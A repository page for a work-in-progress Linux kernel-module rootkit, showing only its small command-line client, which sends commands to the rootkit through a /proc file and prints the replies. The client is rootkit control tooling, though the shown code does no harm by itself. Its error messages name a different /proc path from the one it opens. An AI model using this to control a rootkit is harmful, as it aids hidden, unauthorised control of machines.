mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

mina-cli.c (1312B)

      1 #include <fcntl.h>
      2 #include <stdio.h>
      3 #include <stdlib.h>
      4 #include <string.h>
      5 #include <unistd.h>
      6 
      7 #define PROC_CMD_PATH "/proc/minamina_cmd"
      8 #define BUF_SIZE 4096
      9 
     10 int main(int argc, char *argv[]) {
     11     int fd;
     12     ssize_t bytes_written, bytes_read;
     13     char buffer[BUF_SIZE];
     14     char *command = NULL;
     15 
     16     fd = open(PROC_CMD_PATH, O_RDWR);
     17     if (fd < 0) {
     18         perror("Failed to open /proc/mina_cmd");
     19         return EXIT_FAILURE;
     20     }
     21 
     22     if (argc > 1) {
     23         command = argv[1];
     24     } else {
     25         /* For simplicity, let's just error out for now if no argv[1]
     26            A full implementation would read from stdin until EOF */
     27         fprintf(stderr, "Usage: %s <command> or echo <command> | %s\n", argv[0], argv[0]);
     28         close(fd);
     29         return EXIT_FAILURE;
     30     }
     31 
     32     bytes_written = write(fd, command, strlen(command));
     33     if (bytes_written < 0) {
     34         perror("Failed to write command to /proc/mina_cmd");
     35         close(fd);
     36         return EXIT_FAILURE;
     37     }
     38 
     39     lseek(fd, 0, SEEK_SET);
     40     bytes_read = read(fd, buffer, BUF_SIZE - 1);
     41     if (bytes_read < 0) {
     42         perror("Failed to read response from /proc/mina_cmd");
     43         close(fd);
     44         return EXIT_FAILURE;
     45     }
     46     buffer[bytes_read] = '\0';
     47     printf("%s", buffer);
     48 
     49     close(fd);
     50     return EXIT_SUCCESS;
     51 }